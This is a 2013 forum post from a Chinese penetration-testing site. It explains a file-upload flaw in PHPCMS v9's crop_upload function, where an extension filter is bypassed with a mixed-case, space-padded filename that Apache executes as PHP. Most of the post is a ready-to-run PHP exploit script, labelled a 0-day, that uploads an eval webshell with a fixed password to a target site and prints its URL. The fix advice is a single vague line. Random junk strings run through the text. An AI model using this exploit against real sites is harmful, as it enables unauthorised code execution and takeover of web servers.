中国网络渗透测试联盟

标题: PHPCMS v9 Getshell [打印本页]

作者: admin    时间: 2013-3-7 13:06
标题: PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行# S/ {+ {& P+ H/ V6 i5 t

- L7 B, u' _; o" ^4 ~简要描述:" s9 b" g/ M0 p4 z6 A
! d( _2 t- R1 ~
phpcms v9 getshell (apache)/ @2 y0 s. W4 [6 t
详细说明:
' X# P, Z3 o/ }  L* [% H6 u! D# u" o* A! T
漏洞文件:phpcms\modules\attachment\attachments.php
7 I1 f. X6 _0 A! L: L6 Q' R: Y3 j+ f1 f3 R2 V
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
! E; z' I" U3 |, d; t5 ]0 j0 _后缀检测:phpcms\modules\attachment\functions\global.func.php2 U% {% J, N9 w

8 R4 B- }0 u# N" K* A- v+ W0 ^ ; [" I! c& V& Y; Y

( n' i* Z: f0 X1 X: z- N2 efunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  $ Z1 @) q& c- s( {  T3 m

) @" K4 ?6 b, K, F4 b* w9 U: l  h4 b关键函数:* d) f0 G6 w. j6 a2 X

5 O$ I1 ]- A4 m3 I1 Y6 i
" P/ |3 w+ }. G0 L4 N& o8 X9 p& P+ O
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  % ^+ H! h' `/ {8 z# K

$ O- S6 m0 c) K; x  Fileext函数是对文件后缀名的提取。
. O: _/ K) i% P0 w& ^+ i! t根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
$ r, C0 q! n( V) g' X经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: U% a% }4 S4 t5 C; L
我们回到public function crop_upload() 函数中% ~7 P. C1 [7 C5 P" M
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 h/ h' X% }$ k% U2 S; U& N8 ]在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数9 a( i5 r) I4 r& J: q
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。! N! h, a0 r: o4 G3 p
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
8 z" A4 T  a! c* A0 f0 i最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
* T9 P7 W4 t! H& i# E看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。% Z( V* h7 D- N8 r6 B0 T, O
漏洞证明:
3 Y, m8 _. ^) b1 V4 D) ]9 _7 w/ S8 i
exp:; q/ ?1 w; Q' l

9 j; A; }5 `, I6 a<?php
( N! w: s) M5 F9 y& G5 i2 cerror_reporting(E_ERROR);0 b. b3 G5 a0 A: M) t+ b
set_time_limit(0);$ q3 U4 A0 s0 t% ~( j! X4 ]; c
$pass="ln";2 K$ Q  Y! L0 C, G* _, M
print_r('
2 s5 U3 r" b# l9 H2 T* l+---------------------------------------------------------------------------+
! t1 M# c7 @/ WPHPCms V9 GETSHELL 0DAY
7 Q$ H  c; w+ m2 q5 O+ x& Kcode by L.N.
# ]0 R! b. ^6 U! ?
  H1 }/ b! t; rapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
3 H) T: d2 p! U' k+---------------------------------------------------------------------------+* B/ U  ]1 {9 o
');
) a; G8 D2 W6 ^( A$ b! @if ($argc < 2) {
. G. \8 X) g4 U5 N9 }# gprint_r('
! T6 _) p8 x6 |+ Y+---------------------------------------------------------------------------+
2 N8 [8 U" P  gUsage: php '.$argv[0].' url path- ^- S, a. E$ F& K" D# m) ?

( r% J2 K8 _, y, \, O. cExample:
- K0 ]+ ?. p5 j7 V4 _1.php '.$argv[0].' lanu.sinaapp.com3 w6 K/ f$ E3 _3 e) u1 d, c
2.php '.$argv[0].' lanu.sinaapp.com /phpcms& i" q7 M0 N/ ~  R! A& h# o5 t& `$ ?
+---------------------------------------------------------------------------+' G3 E+ J6 ~6 m! I7 e0 K2 z8 ]% G) |
');, l4 k8 n1 a: f, v* G5 A
exit;
% Z8 |- `3 G! e4 k" {9 Q}+ s7 E+ a$ G8 J3 |9 E

( T" r- q/ C2 F! j/ |2 X, d- r+ G$url = $argv[1];. h/ v: y& [# Q6 _
$path = $argv[2];1 m8 k" O' r  i6 k2 Z3 g! u& n
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';7 h: p. c# V+ e! Z0 N' B
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';* I3 B7 N0 U2 O' ~9 l
if($ret=Create_dir($url,$path))
+ P0 _: e- E+ i9 @% ]# s! Q{
  @( J; s* a5 A1 q- y) B9 D//echo $ret;) e5 j4 \1 Q# }0 [5 X# W
$pattern = "|Server:[^,]+?|U";1 z* O) ]. a& F
preg_match_all($pattern, $ret, $matches);' z2 N- b+ D' f/ o+ |, p  j
if($matches[0][0])/ L9 W" z6 N" `6 g" f
{
/ E- P& }: ?  l3 Y& ]if(strpos($matches[0][0],'Apache') == false)8 m( q* g9 v$ ]. {: n" }/ T4 B( n
{! _8 }# [" Y* g! P+ d
echo "\n亲!此网站不是apache的网站。\n";exit;
7 G; J  {& N5 K7 R8 W; \0 F}0 A/ N4 Y4 A% Z: h) U
}+ U" p' K0 k' a! ~8 F( T
$ret = GetShell($url,$phpshell,$path,$file);$ ^& K+ N: k6 ^# P- v  _8 r
$pattern = "|http:\/\/[^,]+?\.,?|U";/ i+ j; m' T. a5 Y
preg_match_all($pattern, $ret, $matches);
# N- G+ L' R7 Z( X; q( L5 G6 \- Fif($matches[0][0])# J! i: o  T6 }/ N, Z
{+ B6 X/ h- k5 B; B) s0 J; T4 t
echo "\n".'密码为: '.$pass."\n";' i2 k5 S1 s6 R% v
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
2 b+ o$ I% E. c  R/ a* K}# T  \/ Z, r/ P" B
else
$ i4 O+ e" O  ?; h9 ]8 e' f/ @8 e{: @- j4 p" b/ I* Y
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
( u1 {0 y0 ?$ A6 Z6 {' ypreg_match_all($pattern, $ret, $matches);3 T6 d  P; z/ S* m/ V/ }# S( @8 \
if($matches[0][0])
/ {# b6 u& x1 q) e0 V& c' v{
$ h! I2 O" r6 c7 |7 w% p. D  ^, vecho "\n".'密码为: '.$pass."\n";
& ~* W; M- ~( P" r: J" ?echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% l  @4 g9 n( b: `7 ]$ j8 H$ A. X}
1 q8 Q1 B7 @: F. z: L# [9 n( delse
% Z9 O) g8 P4 e$ p: z7 H. x{: c. B' g- M( Y
echo "\r\n没得到!\n";exit;7 B' c$ i4 K( Z+ h7 L7 L9 z
}4 ?2 l: [1 Y; x7 v
}; N' f# f+ ~( j* J& R' ~$ H  v
}: K4 s4 r. ?9 Q2 M7 t8 R
& q( s9 B' I+ U: a( J+ l
function GetShell($url,$shell,$path,$js)9 X! V0 B" y% I& u
{
" v0 v& r; p3 Q' S. v5 \& y+ a, J$content =$shell;: n! O# h* w( _6 H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
" z& K. ^  J! k  z: q$data .= "Host: ".$url."\r\n";
7 t, z! B& e+ I) Q6 a$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";4 a7 W+ h# ~- d, a2 C
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";7 f/ v, v  H/ I3 ]& R
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
& D- F/ `, u3 u( k& V' R$data .= "Connection: close\r\n";
! T' D* _7 t, }2 C! }$ }6 \) o2 c3 f$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, K, J: U4 m+ C- y" D# n$data .= $content."\r\n";
3 k! n, f# a$ \$ock=fsockopen($url,80);* T7 s# Z6 Y/ ~5 }# P* r9 A0 {% L  o6 Q
if (!$ock)
; p- g2 ^% L" a! Q5 x9 z8 \{
9 K4 W# h* m' a6 o! uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ K( |: W+ V3 f, [9 W7 u( j
}
) D- x9 U5 z( l2 @else
' R) w* `$ N# p! ^; X# Z{
" x/ J" x* k; i1 }9 p# Q; J5 xfwrite($ock,$data);  s* O, N+ N+ u4 y2 i! L
$resp = '';
4 b1 @' H$ @1 r, L8 Pwhile (!feof($ock))
4 M- ~8 q6 o1 `1 q1 b{& t& p  |) X7 i
$resp.=fread($ock, 1024);
! [, E) Q, _" T4 |+ _% e0 u}4 p6 I" a. E, U
return $resp;/ e, E. p  o' v* }8 \. l" H# p7 \+ r
}
* T7 @9 @% A$ ]2 a: W2 o}
$ W  M4 ~* c; t, ?
7 w* ?  d, [6 X$ B# h$ sfunction Create_dir($url,$path='')
& T' l0 q9 ]9 h6 |+ l0 R{
3 j* N5 G* c7 L3 _$content ='I love you';9 _, F" R; ^/ W" A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
& v# C" s+ r, T7 O6 F' d$data .= "Host: ".$url."\r\n";
5 Z. b# }+ C- o, H0 S$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 \, p4 x0 D3 z/ \$ y2 _1 X7 R  ^- j6 o- j$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$ F8 W1 A! F! i. W: C' E' f( X
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 k1 Q; Q! X+ g" y4 m" B$data .= "Connection: close\r\n";
) k6 w4 m& e; ?& G* c/ S$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 I/ J" s" Z, d- R) J) v$data .= $content."\r\n";
! B, x. M# h- x! g/ [- k9 ~$ock=fsockopen($url,80);
. n# f' F$ U4 c# O% Zif (!$ock)
8 ~4 z. E  A2 ?7 ]{+ A& ]1 a- J: n  V; p8 P
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
  k. M5 M7 m: F1 F& f}
  Y" p( v/ ?5 _4 Sfwrite($ock,$data);
: x$ u9 R4 U* u) p2 ^& D3 F9 c% F$resp = '';0 n& O# P: F  X+ d% q6 o5 c: N
while (!feof($ock))! C" E- |* x7 }) e8 O$ E& H
{
7 K8 |0 m8 o$ \7 I3 L% M5 w8 u% B$resp.=fread($ock, 1024);
, z6 F& a' {0 e+ k+ N! n! D}
7 ^+ M( M0 B( h, ~return $resp;
& @6 S) T* ?& x+ u) c7 @}
0 Q: R% r  P- ]?>
7 x1 G; K  y  C$ e ) V, j5 ^3 _2 o6 T
修复方案:
. G4 C7 {) t7 z- u: m4 B2 k' ^7 v: J2 G1 z6 D
过滤过滤再过滤9 x% p  E: @! b  i' B$ X) ?1 y. m9 i

: C  h( r% `& w3 z7 e; F* v




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2